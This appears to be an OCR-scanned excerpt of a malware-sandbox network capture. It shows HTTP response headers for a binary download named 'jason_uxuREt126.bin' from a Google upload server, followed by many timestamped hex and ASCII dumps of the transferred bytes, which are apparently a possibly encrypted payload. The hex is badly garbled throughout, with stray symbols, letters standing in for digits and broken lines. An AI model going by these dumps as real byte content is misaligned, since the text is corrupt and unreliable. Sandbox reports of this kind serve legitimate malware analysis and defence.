YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-M
eeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Mee
ting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-sdm-id-
token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-
Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-
Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace,
x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="jason_uxuREt126.bin";filename*=UTF-8"jason_uxuREt126.bin

Date: Mon, 27 Sep 2021 16:55:59 GMT

Expires: Mon, 27 Sep 2021 16:55:59 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=g9HBug==

Content-Length: 221760

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Data Raw: al 05 c3 bf 8a 18 c7 45 b7 3d 9e 4c 1a ef 76 ¢3 24 ce 98 1b d6 14 d9 cc bc 46 71 ff 27 5b 27 c2 al 39 4d f0 79
d2 76 6f 7e 5a 34 2a 62 5a 6b b1 13 81 b5 27 a4 af 03 15 4e 25 19 d0 61 b6 55 25 66 8b ba 54 69 4a e0 11 c4 4f 38 95 24
1512 02 23 82 d6 d4 13 d7 10 94 b5 e7 df f3 d3 a8 95 31 e9 3e 50 49 81 87 d3 66 9e 98 58 d1 d5 8d 53 b7 46 8a 32 bl
4b c2 7a b4 53 fb 22 d0 41 d3 8d 88 a8 96 8 86 fc 17 e7 ff 91 3b 62 fe d6 d2 26 f8 58 c2 9e 4b b2 d5 76 4e 41 a0 b9 94 87
7419 25 9c 9 c4 26 d5 8e c5 89 79 39 fa 2e 3f a7 79 2f a3 fd c9 58 5¢ 80 c9 b6 01 de e4 80 55 01 d5 ad 25 6e 83 05 74
ab 9d 7d eb 57 67 86 bc 73 90 e4 db 8d c2 78 8c 2d b5 a6 72 53 6a 48 3b 40 15 bb a2 17 75 90 0d 06 75 Of 49 9a 23 51
b1 f7 b2 08 37 ab 39 4b b2 da 07 60 65 f7 c5 2a 54 86 49

Data Ascii: E=LV$Fq'9Myvo~Z4*bZk N%aU%fTiJO8$#1>PIfXSF2KzS"A;b&XKVNAt%E&Y9. ?y/X\U%nt}Wgsx-rSjH; @uul
#QT79K e*TI

Data Raw: 2e 6¢ 00 b4 ba 1f 3c 27 93 88 64 dc dc 77 cc 89 06 Oc 9f 65 d6 ac c2 d8 c4 70 a0 8f 53 07 b0 d8 75 d7 f3 22 ca
56 74 34 0f e1 55 66 24 ec a8 62 5a 3b 1d c4 74 e1 03 72 90 58 2f 0a 5e 74 87 ff a3 37 8a 32 9b 71 ee fe 2c 7a 41 9c b8
8c 69 57 9a 17 2b ec 8¢ 19 c5 0f 9f 29 81 a0 0d 43 e7 2c 32 cf f4 09 e5 08 8f 27 da 8c 60 77 1e 5d 86 18 92 5d 30 89 d1
b6 a6 90 46 cc 83 7d 6a 86 10 1a 59 15 67 4f 5a Oc 65 6¢ 32 09 b0 3b c2 91 af 68 c6 8f {7 €9 a0 fe 2f c8 35 c2 6f 9d 98 18
91 68 6 8f 24 52 2b 6e 39 a6 1c 99 2c cd 7d db d5 43 9f eb 3a 83 40 eb c9 2e 99 ee 90 49 6a 73 c8 79 fb df fd 15 f9 70 5e
49 13 ac 6¢ 6e 3 3e 79 fb 3d 7d b7 34 db 5e 3b bc 9¢ 7e bl 32 82 7c e0 dc Oc cb 08 da 39 57 1b 86 a8 d2 ed 99 57 f7 13
2d 59 58 Oc 98 28 60 9c 12 38 a4 6a cf e0 6a ed

Data Ascii: .I<'dwepSu"Vt4Uf$bZ;trX/"t72q,zAiW+)C,2"wW]]0F}jYgOZel2;h/50h$R+n9,}C:@.ljsyp lIn>y=}4";~2| 9WW-Y X ("8jj

Data Raw: c0 dc d9 6d ca fa 77 89 1f 59 2¢ 9f d8 79 1f d4 d8 39 53 2a 2b 18 9b 44 93 4c 40 bb 43 2a 37 d7 be 18 ed 92 7a
16 2¢ 62 79 fc 40 6d ad 98 cf 13 eb 59 73 a4 a3 1f a2 f9 02 21 7f a6 d1 a6 b2 8f d6 44 77 d6 6d 62 95 b3 3d c4 38 80 3d
86 b ad 77 95 6a df e2 53 90 81 a8 da 1a 28 48 02 cc 4a ef fe 4a d5 Of 3f a0 c9 85 ef c9 10 a2 96 91 5f 8f 77 ac a8 a6 bb
f0 fe 91 14 85 6 24 9¢ 19 08 ¢6 44 97 8d 99 db ff 1b 50 30 18 74 5 92 67 fa 96 d6 ff e5 4a 39 0a fb c3 €3 11 2b 46 93 e4
7c 6 d7 99 bd d6 17 82 45 19 e6 db 44 a3 ac f0 f9 64 48 ea 01 67 58 25 b9 73 95 d8 08 62 79 a6 3a c5 c2 27 23 01 99 4d
04 €5 05 ¢4 d9 4f 4c 0a 42 ¢3 91 12 a2 2a 55 4f 9e 24 d2 a0 cf 4b 5 83 53 de 4b 04 a3 ed 45 34 d6 a6 34 88 8¢ 89 ae 2b
€349 b1 e3 cd bb 0a 07 Ob 29 36 6e fb 07 1d c2

Data Ascii: mwY,y9S*+DL@C*7z,by@mYs!Dwmb=8=wjS(HJJ?_w$DPOtgJ9+F|EDdHgX%sby: #MOLB*UOSKSKE44-+1)6n

Data Raw: 45 84 89 a2 03 35 9d 7d 38 d3 b9 ab 22 22 c6 df 07 7c 3d fe 1d 2a 41 ca ff 89 5a ef 66 34 b2 b2 8c c2 fb 24 d9
de 9f a9 c8 fe c4 03 7e 6 77 fO df 11 e0 b5 63 73 d4 d1 b3 fa 20 4d 57 45 65 f5 5¢ ac ed 53 4d 62 13 fd b5 63 56 87 33 a4
66 4f 9b 83 d8 86 70 27 84 6a e7 df 19 de f7 51 e7 29 ae 7e Oe 51 1c d1 2a 5e 79 54 c8 29 c0 4f 32 4b db fb 1a 2a 49 82
d6 d2 7c 11 10 94 ff 39 dO d6 fb 9f 95 31 e3 2d 4f 61 b9 87 d3 6¢ 40 98 49 d9 fd 80 52 b7 40 e5 f4 bl 4b c8 a4 b8 7b cc 22
do cb fb b5 88 a6 83 9c 88 ed ab c6 dc b0 83 65 dd dd f3 72 9a ef be 9b 13 f7 ba 11 36 33 ed b1 cf e6 1a 7d 94 e8 c8 ae
6b 3b fc b0 el 36 96 94 Oe 71 36 25 2a e6 a5 ad 3d 78 9e e5 94 1d de e4 8a 8b 01 c4 a5 5d d9 83 05 3e c5 58 7d 5d fe e8
e8 99 5b a7 e4 db 87 d1 5a 44 15 b7 a7 73 8¢ 61

Data Ascii: E5}8"|=*AZf4$~wcs MWEe\SMbcV3fOp'jQ)~Q* yT)02K*1|91-Oal@IR@K{"er63}k;6q6%*=x]>X}][ZDsa

Data Raw: 27 a7 a6 5b f6 e6 db 8b 60 69 2c 05 cc a7 79 58 49 2f 39 18 10 93 8a 1f 75 96 1c 01 1la dd 47 ec 2a 79 61 d5
b2 Oe 1f 85 3b 4b b4 b5 3f 60 65 dd ed 42 56 84 4f 70 1f c5 ec 3c c0 47 6a 51 d1 9a 1d 2e 6¢ Oa e8 be 1f 3c 2¢ 8¢ 9c 4b be
e4 77 c6ec 93 72 el 61 d1 bb a9 8d f7 06 82 1f 73 17 9d fO 5d b8 be 24 db 5b 1c f1 60 af 5f 4e Oa eb b7 5a 5a ec 1d c4 74
98 3¢ 3e 92 5¢ 01 20 Oc 74 81 dd f3 1d c7 36 f4 0f 81 af 26 52 11 99 d7 d8 41 2e 90 1b 29 8b f4 Ob 87 26 ab 78 81 a6 2f 11
a9 2e 38 el 84 23 cb Oe a7 51 cc bf 4d 57 b1 Ob 86 1e b0 79 39 fa 82 9e cc 98 55 ce ba 03 05 dO 16 c4 5¢ 2e 55 5e 5f Oc
af 4f 3c 0d 8e 32 ad cc 71 68 d8 40 2e 9d a6 d2 29 c4 4c a6 41 86 ba af bb 46 f2 a7 el 5a f5 7a 00 94 73 4a 26 e5 59 f1

le 4595 c9 2a ef 42 el 11 06 b8 c4 90 43 42 48

Data Ascii: ['i,yXI/9uG*ya;K?"eBVOp<GjQ.I<,Kwras]$[_NZZt<>\ t6&RA.)&x/.8#QMWy9U\.U"_0<2gh@.)LAFZzs
J&YE*BCBH
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 19 IN Data Raw: 65 52 30 f0 0a e9 92 71 4 e8 ce fO e5 4e 11 6¢ fb c3 e8 1a 34 5e 80 c5 76 e7 d3 88 ac 28 f6 9d 42 f0 f9 d9 3a
bb ac eafd c6 56 f8 12 63 58 Ob b7 6¢ 99 28 09 4e 74 e2 2f cc ea 59 21 01 9f f5 1b €8 17 c0 d9 5e 48 4b b6 c2 bd 17 ab
30 7d 00 94 24 d8 0d d1 58 e1 99 42 da 55 17 5d ec 69 43 d5 b9 24 9e a4 a9 ae ac ef eb ae f8 de bf 0a Oc 0f 36 39 90 fa
2b 10 5d 15 07 a7 01 34 Oe 4e c9 77 09 b3 99 54 8¢ al 47 03 35 9a 12 fe d3 b9 12 6 2d e3 f9 30 7c 3d 35 04 36 69 fd ff
89 50 2b 66 25 bb 9a 76 c2 fb d6 bc 18 9f da c3 20 cb 41 5a c1 77 ff d5 02 fd 87 5b 73 d5 d9 6d fa 31 98 75 51 64 52 5b c3
2b d7 41 68 cd ff 9d 54 56 87 39 8¢ 5e 4f 9b 89 06 2a 6d 2f ac b6 e7 df 1f 65 3d 51 e7 36 70 71 2b 63 2b d1 2b 54 6a 4a
e0 e5 cc 4f 38 18 db ea 12 83 96 82 d6 db 13 d7 10
Data Ascii: eROgNI4”v(B:VeXI(NY/Y!"HKO}$XBU]IC$69+]4NwTG5-0|=56iP+{%v AZw[sm1uQdR[+AhTV9"O*m/e=Q6pg+
c++TjJO8

2021-09-27 16:55:59 UTC 20 IN Data Raw: 71 b8 af 26 dc a2 72 0f 63 b8 46 62 2e fa b3 4e cb 75 31 c6 55 e3 13 46 6d a7 d6 6d 19 a2 8b fd ad 91 70 02 2k
61 ab b4 1c 7e 4b 1c d5 de 69 7f 90 1b 32 b0 6f 1b c5 08 fa 09 5f al 07 6d ba 29 4c d3 e2 21 cf 24 de 3c cb c1 5c 7f 71 0d
e9 f8 99 50 3f ec 7a b7 d8 81 55 c8 96 6f fb d1 70 36 63 17 65 31 be 07 bb 5a 2a 22 d9 d1 ac c6 a9 79 cb 7b f3 el a8 d4
38 ¢c7 21 b2 6e 9d 96 ec 62 44 f4 89 Oa 7f f5 7c 1b fe fe 98 26 €3 d3 c2 d5 45 91 d2 05 ec 9f e0 17 28 80 cd 1d 5c 6a 72 el
6a eb cc ed 7a fb 4e 20 49 19 a6 ce 7f e3 2b 7f 00 2c 2f 34 4a c5 5e 3b b8 3e 6f al 2b 84 73 5¢ cc 04 f9 71 da 38 46 38 8¢
ba ca 92 8c 57 €2 17 05 32 5a 24 db 8a 71 86 7d 0d 06 7b de f6 12 d2 1f 8d e3 db 77 ad 52 5a 3e f7 b2 79 c1 7e ce df f8
92 7389 04 51 31 12 a5 55 14 db d3 41 63 f6
Data Ascii: q&rcFb.NulUFmmp+a~Ki2o_m)L!$<\qP?zUop6celZ*"y{8!nbD|&E(\jrjzN I+,/43";>0+s\q8F8W2Z$SgHWR
Z>y~sQ1UAc

2021-09-27 16:55:59 UTC 22 IN Data Raw: b9 24 9a a8 ab 86 d4 e5 eb a4 e4 da 9f 0a 12 0f 36 b5 eb fa 2b 11 c6 cf 7b a7 0f 35 26 5a 6d 7d 03 9b 96 55 8¢
ab 54 8d 82 43 aa ed d6 af aa ed 29 8c f6 31 7c 37 fd 1f 33 7b f3 d7 c¢8 50 31 60 03 bd ec 1a 12 87 22 b6 19 b7 bd c2 20
¢l 0e 56 c0 77 fa b9 59 d5 Oc 5b 73 de 6¢ 7e fc 27 54 79 42 6d e6 5d e8 10 73 4d 6¢ cd f1 ee 56 57 87 33 9f 56 5e 9f €6
07 87 61 25 a5 8f e0 4a 71 99 32 50 e7 29 61 79 3a 71 44 d5 2b 54 60 62 a2 11 c0 49 le 84 d3 85 c0 02 9b 88 dc fc 2b d7
10 9e 2b e8 ce f4 c2 al a4 8e c1 06 50 49 8b 59 d3 72 b4 9e 72 d1 d4 9d 53 b7 46 8a 32 b1 5d d4 7a 05 49 fb 22 d1 da e3
89 88 36 89 42 88 d7 a3 ee 23 98 ad 61 b2 1d f8 Oc b2 31 bl ba 13 3f ba 11 36 4f a0 99 f7 ec 16 09 68 e8 d9 a2 6b b3 fc
b0 el 71 55 95 Oe 71 87 2c Oe ce 98 a0 34 66 73 c5 aa
Data Ascii: $6+{5&Zm}UTC)1|73{P1™ VwY[sl~'TyBm]sMIVW3V"a%Jq2P)ay:qD+T bl++PIYrrSF2]zI"6B#al?60hkqUq,4fs

2021-09-27 16:55:59 UTC 23 IN Data Raw: 06 66 72 61 78 98 5¢ 3b 21 al 01 b5 b8 8a 68 cc 57 a7 54 be e3 05 e8 10 95 6f 9b bf c1 64 15 f3 8f 22 73 eb 02
3291 1c 9d 3e d6 45 a7 f0 45 95 ¢7 8¢ 34 56 dO 1b 06 d4 c4 90 4f 47 77 3d 4a fc dd fd 44 b0 66 d1 4f 1b b2 2c 85 f3 3¢ 79
dc 30 3f 2¢ 30 f9 b1 39 bc 9a 56 f1 32 82 db 7e c5 60 d9 08 da 3c 64 db 81 a8 c3 c4 bd 57 e2 19 ad 40 5a 24 d5 5 9d 90
66 Ob da 62 ce ea 68 ed 31 8f e7 7f 70 95 61 5c 9c ec b4 5¢ 64 dc df cf ae el 73 89 0a 23 3f 61 d9 51 7b 14 c0 47 41 54
03 1c 39 5¢ ef 81 40 aa 4d ef 5b 01 bf 34 e4 f4 ac 19 04 1b 14 13 46 cf b8 f5 f4 17 eb 4c 61 93 86 el a3 df 18 06 Oe a6 cl
a6 b2 8f 0a 53 7b c5 6d 0d 4d b7 22 de db 5b 7e 80 b0 b2 70 88 44 d7 13 51 96 25 al e3 27 2c 48 19 de ab e3 16 b5 8 66
3e bf c3 a9 95 c1 10 a4 fd 64 96 8f 7d c9 d3 7c
Data Ascii: frax\;!hWTod"s2>EE4VOGw=JDfO,<y0?,09V2~'<dW@Z$fbh1lpa\\ds#?aQ{GATI\@M[4FLaS{mM"[~pDQ%" Hf
>d}|

2021-09-27 16:55:59 UTC 24 IN Data Raw: 64 f5 5e le 7e 51 4d 68 e5 f5 9d 54 50 e8 30 8d 5e 45 f4 82 07 86 6b 07 a8 9e e7 d9 70 b8 30 51 ed 4c 7a 70
2b 73 3d 2f 2b Ob 68 55 f2 ef c1 59 c6 94 84 e8 32 a6 9b 82 d6 2a 12 c1 ee 95 aa e5 ff 56 d3 a8 95 cf e8 28 ae 48 de ab
b9 64 12 e7 58 d1 d4 e2 5f b6 46 80 5d b6 4a c2 70 9c 43 f8 22 d6 ae 4e 8d 88 ac a5 57 8a 70 dc ee 32 b1 ec 6f b3 1b 9
f2 b7 31 b1 ba e6 1f bb 11 3c 5e ¢5 99 f7 €2 32 66 49 e8 df 8e 67 f5 fc ba 67 51 50 94 0a 05 €0 2a 0f ca 90 21 42 72 8d c5
d3 29 df e4 8a 7d 25 d5 ad 7f ab 8b 05 38 ae 8a fd 7a f4 36 €3 61 d5 91 e4 db 8f 7a 50 21 2d b7 al 51 b1 63 48 3d Oe 3e
95 a2 1f 7f 86 3e 1f Ob 07 47 ec 24 79 55 d5 b2 Oe 1f 8f 39 4b b8 5a 4f 60 65 d3 fd 42 55 84 49 5a db ed al 36 e8 6f 42 b4
d5 47 96 38 44 24 c0 89 15 2a 15 81 f1 44 96 dc 73
Data Ascii: d*~QMhTPO"EkpOQLzp+s=/+hUY2*V(HdX_F]IpC"NWp201<"2flggQP*!Br)}%8z6azP!-QcH=>>G$
yU9KZO eBUIZ60BG8D$*Ds

2021-09-27 16:55:59 UTC 25 IN Data Raw: 24 dd 29 56 20 9c 91 d6 f7 99 46 f9 Oc 11 b6 5b 08 dd 2e 71 99 09 23 a6 6a c8 f5 51 d6 04 8d 6 62 79 9c bl 5d
b0 ed b3 6¢c d3 d2 09 dc db 6 51 9a 15 5d 26 7a c6 60 ea dc ec 40 5a 33 20 03 Of 4b 9b 48 51 b1 58 18 db 28 93 3f f1 90
74 01 d2 02 70 €3 68 dc a9 8b cd Oc f4 78 89 ba 84 f0 b2 d3 19 f2 76 Oe 44 8d b2 8b 75 48 7e da 58 71 9f b7 33 cf d9 ba et
89 9d b9 7c¢ 85 2d d9 e0 53 90 3c 8b d8 12 2c 59 08 d7 63 1c 01 67 ff 33 7d a0 f4 be fO c9 01 bf e6 28 al 8e 51 c9 d8 ad
al 2c 4f 85 05 b2 f1 3f 8d Oc Oc ce 8b 68 a0 af cd d5 7e 59 21 fb 1c f8 94 4f eb e9 ce 5 fa 7c 02 6d fb d2 f2 00 ca 5f ac e9
6d ec 9 50 bf 23 ed bd 53 fO e8 ce 25 82 52 f1 d1 cc 24 da 10 63 5e 3e a2 56 8a 3d 09 5f 6f b0 Oc 32 eb 7a 2a 10 94 fe Oe
3e 05 cb ¢6 74 5b Oc bc d3 a6 06 a2 ce 7c
Data Ascii: $)V F[.a#Qby]IQ]&z @Z3 KHQX(?tphxvDuH~Xq3|-S<,Ycg3}Q,0?h~Y!0|m_mP#S%R$c >V=_02z*>1[|

2021-09-27 16:55:59 UTC 27 IN Data Raw: dO c7 c0 99 99 b2 98 52 80 d4 f3 ee 32 b6 90 71 b5 77 d0 72 90 31 b1 be 3b €0 fa 4a 1f 20 cd 99 {7 e6 1a 87
75 b1 f1 37 43 5 16 07 f0 8f dd bf Oe 7b 9 39 1c df 80 bc 2e 75 el e7 bc 25 de e4 80 55 21 95 6 5d 34 82 05 32 82 be 7c
5d fe 32 cf ab 70 90 e2 b4 94 c3 78 66 01 a5 b6 7d 43 72 4e 23 30 47 bb a2 19 66 97 d0 ac 75 Of 47 fd 24 40 a2 d1 ab 20
66 ab 39 4d al dd 9a f8 65 d7 c5 02 63 84 49 52 4b fd ec 36 e2 b4 e8 51 d7 47 98 Oe 68 8a cO 89 2c 46 25 89 83 23 8b dd
77 cc 89 53 0d 9f 65 f9 €9 ad 94 c2 63 bd 99 64 06 87 d0 5d e8 be 22 cc 4f 66 24 Oc 8c 55 66 2 eb b7 50 15 34 46 7 7e
€6 2b 3 92 58 d9 5a 57 5¢ 16 f5 a4 15 70 27 4d fa aa af 2¢ 7b 58 8d 6 cb 78 41 97 77 00 98 b6 19 c5 Oe f0 5a c1 fb 2f 74
a8 2e 38 el ¢2 20 cb 02 9e 29 dd a9 41 66 59 58 86
Data Ascii: R2qwr1;J u7C{9.u%U!]42|]2pxfICrN#0GfuG$@ fOMecIRK6QGh, FYt#wSecd]" OfUF.PAF~+>XZW\p'M {XXA
WZ/t.8 )AFYX

2021-09-27 16:55:59 UTC 28 IN Data Raw: Oe 33 72 df d8 al a3 8¢ fa ec 63 1f 7f fe f7 92 23 d4 cc 92 19 99 b9 a6 52 98 41 ff e4 44 1b 24 b7 cb 08 3f 44 02
c4 433 05 63 €8 18 36 b5 61 bc e7 da 1b b5 f2 1f 4b 98 f0 ec c9 a6 ba e9 51 9f 17 80 f5 b8 9c¢ 10 3f 72 ba 96 ab 92 d1 c1
ff 7e 3b ef 01 ff 08 4f ef €8 ce f5 f6 4b 65 64 fb c3 2 17 ea 52 91 8 50 0 c2 8e c3 7f f6 ae 42 2¢ f0 c4 3d 93 f9 f0 fd cO 5¢c
f1 61 40 59 34 b7 7f 90 37 00 5f 73 c0 07 cd ea 5¢ 2d df 93 fe 12 ¢4 11 d1 d0 31 1f 17 bc ¢8 61 11 81 30 7d 6a 9f 38 d8 02
d3 58 0f 83 12 e4 55 1b 5d ec 69 3a dd b9 7f 91 a8 ce af 27 e5 eb ae 7 cd 8f Of 16 66 36 38 90 c2 2b 10 da 09 Ob 8c 6e 34
06 56 93 7c 25 a0 94 da 3b a2 d3 b4 e3 8c c8 €9 05 34 8a fc 2d e2 fc 29 70 3d fc 14 c8 68 de ef 8a 46 36 64 ab 0d 99 8
75 d3 17 b7 18 95 b2 ce 20 c3 3f
Data Ascii: 3rc#RAD$?DCc6aKQ?r~;0KedRPB,=\a@Y47_s\-1a0}j8XU]i:'f68+n4V|%;4-)p=hF6du ?

2021-09-27 16:55:59 UTC 29 IN Data Raw: 2a 3e 3a bc b3 39 1a c7 0d 06 7f d3 40 e6 fe 48 b6 dd 6¢ 1d 30 al e7 5a 97 f2 70 60 65 dd d6 03 7c bc 49 58
69 1b ec 31 c2 6f 40 10 ab 47 90 2c 6¢ Oa c0 3d 1f 3c 26 b9 8f 4c 96 09 77 c6 €6 5¢ Oc 9f 6f d1 bb ad 94 c6 70 aa 88 84 17
97 d8 54 b8 be 22 d2 5d 73 23 71 af 55 66 2e eb b7 50 37 74 1d c4 79 e4 2b 3e 67 58 29 65 f2 76 87 5 a8 1f c7 30 9b 77
81 af 2e 7a 4b 9b 7d dd 69 57 bf 1b 23 98 6f 1a c5 Oe fc 7a 81 a0 07 6b a9 2e 32 c9 e2 21 cd 08 8f 2d 27 bc 47 7f 80 Oa 86
18 97 50 39 fa 9e b6 a6 9b 46 f8 97 79 8a d0 10 1a 69 06 62 4f 49 15 bf 64 bb 25 b6 32 ad d7 ab 70 32 52 05 e5 b7 b2 24
d9 49 91 6f 8¢ 96 de 47 47 d8 87 2b 47 d5 aa 1c 8a 0f 9d 26 f4 57 ce 2b 44 b9 c0 1a 90 44 el 06 2a 86 3a 91 65 61 70 €9
51 cOdc fd 66 f2 7c c2 4d 19 bd 68 75 0d 3d 55 b2
Data Ascii: *>:9@HI0Zp’e|IXilo@G,|=<&Lw\opT"|s#qUf.P7ty+>gX)evow.zK}iW#ozk.2!-'GPIFyibOId%2p2R$I0GG+
G&W-+DD*:eapQf|[Mhu=U
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 31 IN Data Raw: €5 00 22 c¢2 91 ec 6b cf 74 86 ac 22 d0 b1 45 e3 f6 d5 2b b4 b3 ea 03 c7 7b ee 3a 71 59 34 b7 7d 9d 52 1b 4e
74 b4 4a db eb 56 2b Oc 80 f4 08 e7 16 d1 d6 43 b6 16 90 cf ac 12 bd aa 55 7b 9e 24 d2 09 cf 4b ee 83 53 d5 4b 00 a3 ed
45 35 ce b3 3c 0a 8c b8 ae 2b ef {8 aa e8 c6 ac 05 16 1e 39 27 88 04 2a 3c c1 Oe Ob bd 9f 18 a0 51 74 6e 06 b3 87 5b 93
b7 a3 02 19 91 03 f2 cb 29 8d 1b 32 4 e4 3f 7c 2c fb 18 c8 68 de fc 9e 43 3e 66 34 b5 85 6a 3c fa Oe b4 33 9a 91 63 db 34
d9 50 b5 52 f0 d5 00 d7 9d 5b 68 e4 d3 6d aa 31 45 7f 6d 64 f5 4b eb 36 50 4d 6e e5 39 9d 54 5c af 27 8f 5e 49 b3 ad 06
86 6b 22 be 9d f3 cc 1b a3 35 47 f5 22 66 62 2e 6b 2e ¢7 39 52 78 4c f4 02 ¢7 5d 3f 83 f3 b0 12 02 9d a4 d1 fc 52 d6 10 9e
ff 39 cf d6 fb 9f 95 31 e3 32 44 43 a9 bf d3 66 94
Data Ascii: "kt"E+{:qY4}RNtIJV+CU{$KSKE5<+9*<Qtn[)2?|,hC>f4j<3c4PR[hm1EmMdKEPMnIT\"\Ik"5G"fb.k.9RXL]?R912DCf

2021-09-27 16:55:59 UTC 32 IN Data Raw: 15 de 80 e7 07 33 95 37 64 64 Oe 7e 9f c6 8f 08 ed 2b 97 77 89 b7 d2 7b 67 97 d5 cc 68 7f de 1a 23 92 9b fb dc
02 f0 72 97 5e 06 47 ab 39 3e c9 ea 3a 35 09 a3 2f e7 bd 6¢ ce 6b 23 86 18 98 4b 09 f8 84 80 a6 9a 55 ¢8 92 79 05 d2 3d
1b 79 04 0d a7 5f 06 b1 70 2e 27 al 5d 57 c6 af 62 12 5f 01 d4 a8 d2 23 e8 62 95 6f 97 4c c4 bb 29 0f 8f 22 52 2b 70 39
a6 1c 99 2c cd 6b d9 d5 4f 4b c3 28 83 40 e0 Ob 2e 9f ¢4 90 45 6a 7b 5 79 f7 c7 fd 6¢ 8 66 d1 68 19 a4 45 6e ff 26 79 a2
3c 24 1c 36 d1 79 3b bc 9c 7e bl 32 82 d3 60 dd 34 d3 1c b5 77 4d 2b 89 aa d1 83 c9 56 e2 19 2f 27 Ob 25 d1 22 be 9a
4e 3c a4 6a c4 c2 54 c5 1f 87 39 79 4c bd 4e 4c 9c e6 a2 67 c6 dc c9 d5 d0 e5 69 89 Oe 5¢ 2¢ 51 dc 55 ¢5 dc c0 47 Oe 2a
2b 0d 3b 5d fb a9 40 aa 43 1d 53 29 bf 32 8f c9 64 19
Data Ascii: 37dd~+w{gh#r*G9>:5/Ik#KUy=y_p."TWb_#boL)"R+p9,kOK(@.Ej{ylfhEn&y<$6y;~2 4wM+V/'%"N<jT9yLN
Lgi\,QUG*+;]@CS)2d

2021-09-27 16:55:59 UTC 33 IN Data Raw: 87 2c a6 3b cb 1f 06 ad 09 22 19 d2 6b 6a 00 3d 21 €0 10 a8 4b 05 2d 92 9c 49 fb ac a0 fc 27 e5 ef 39 f2 8a 22
06 b8 de 46 63 81 46 37 7f 2c 34 2d a0 ca 75 95 9e 0d 9e a9 c8 26 el 38 54 €9 64 cO dc 02 cb 9c 5b 73 9d db 6d eb 27 56
7b 69 4c f4 5a c3 2b 42 49 7f 33 f0 b1 57 4e 94 3d 8c 4f 4b 83 77 07 aa 6d 2d 22 29 f1 e2 bf b1 31 51 fe 30 74 71 3a 7d 30
2f 2b 78 46 4c f4 39 e6 4c 38 93 ¢3 67 15 02 9b 83 dd d3 05 ff 37 97 f5 el 7d f4 c4 80 bb 33 €9 38 2 4e 95 93 ¢7 71 b6 3f
58 d1 df ab 4f a4 42 8a 23 b5 56 3c 7b 98 5b f2 35 40 ed eb 93 9b a2 89 53 8c e2 5d ef 1e 94 8b 74 28 33 €2 72 90 3b 61
ab 3b c0 bb 39 28 20 cd 93 df d2 1b 77 40 9c cc a6 43 f4 02 bb e5 59 4f 9d 1d 7f e8 3b Ob d1 9b 53 3c 5e 91 ec 95 26 de
e2 8357 29 ff ae 75 2d 86 03 4c 37 9e 7d 5¢ dc
Data Ascii: ,;"kj=!K-I'9"FcF7,4-u&8Td[sm'V{iLZ+BI3WN=0OKwm-")1QO0tq:}0/+xFLIL8g7}38Nq?XOB#V<{[5@S]t(3r;a;9(
W@CYO;S<A&W)uU-L7]\

2021-09-27 16:55:59 UTC 34 IN Data Raw: 4a 77 fb ¢9 c1 37 37 5e 86 e6 54 d5 d0 86 aa 00 d1 ae 48 fa 96 4d 3a bb a6 e3 fa d7 51 €9 15 75 49 33 33 db
6 8f 09 4e 7e be 23 a3 97 56 21 Ob 8b fc 12 f9 1e af 8b 5e 48 1d af cb ac 10 c4 64 7d 6a 94 37 d7 13 de 2b b4 83 42 dO
47 1a 4c el 06 6¢ df b9 2e 83 aa 77 9c Oe cd dc ae f7 d4 ac 1a 07 06 1a 32 81 f3 44 e8 cb 1f 0d b3 1c 3d 26 76 6d 7d 03
6d 83 40 9f a9 81 dd 3a be 3a c9 d3 b9 ab ef 3c cb cf 30 7c 37 2a Oe 1c 69 f2 ff c8 34 31 66 27 ba 9a 76 52 fb 22 b6 7c 9f
a9 c2 d4 cb 26 56 d7 77 f0 d5 02 fd 9d 5b 73 d4 db 6d 7e 30 45 7f 77 64 f5 5a 69 2a 53 4d 75 cd f1 9d 4e 56 87 38 8e 5e
4f 9b 0d 07 86 61 6¢ ac 9e e7 18 le bl 31 55 €7 23 70 71 2b 79 2b d1 2a 54 6a 4a €0 11 c0 82 39 95 db 27 13 02 9b 8d
d6 d4 13 cd 10 94 f4 dd dd db c4 a8 95 3b eb 3d 3f 36 81
Data Ascii: W77 THM:QuI33N~#V!"Hd}j7+BGLI.w2D=&vmim@::<0|7*i41f'VR"|&Vw[sm~0EwdZi*SMuNV8"Oal1U#pqg+y
+*TjJ9',=76

2021-09-27 16:55:59 UTC 35 IN Data Raw: d8 7c 34 74 17 cf a0 fc 3a 3b fd 3c 28 65 04 7d €8 90 a5 1f cd ec 45 7d 88 83 2a 73 24 cc d7 de 63 8b 98 1c 4c
8f b7 19 cf 24 f0 7b 9d a0 07 69 a9 65 32 d3 87 21 c5 08 8f 2d cc bd 47 71 71 6e f3 18 92 50 39 fa 84 ad 96 e 55 49 92
79 059d 10 1a 42 12 69 2d 3e 07 bb 56 37 56 d4 33 ad cc a2 61 c4 57 46 7b a8 d2 23 af 78 94 6f 97 81 c2 ca 60 f5 8f 28
4b f0 6d 14 80 1a f6 01 e4 53 d3 c4 40 8d ac 2b 82 40 eb 06 2b 87 ab ba 48 6a 78 €3 51 9d dc fd 66 ea 62 c0 4c 76 87 6d
6e f9 2f 7e b3 3a 2e 28 22 c0 5a b5 0b f3 52 b0 32 88 da 93 c6 0f d4 67 be 39 4c 21 8a c7 a0 ed 99 5d 3e cd 27 41 76 22
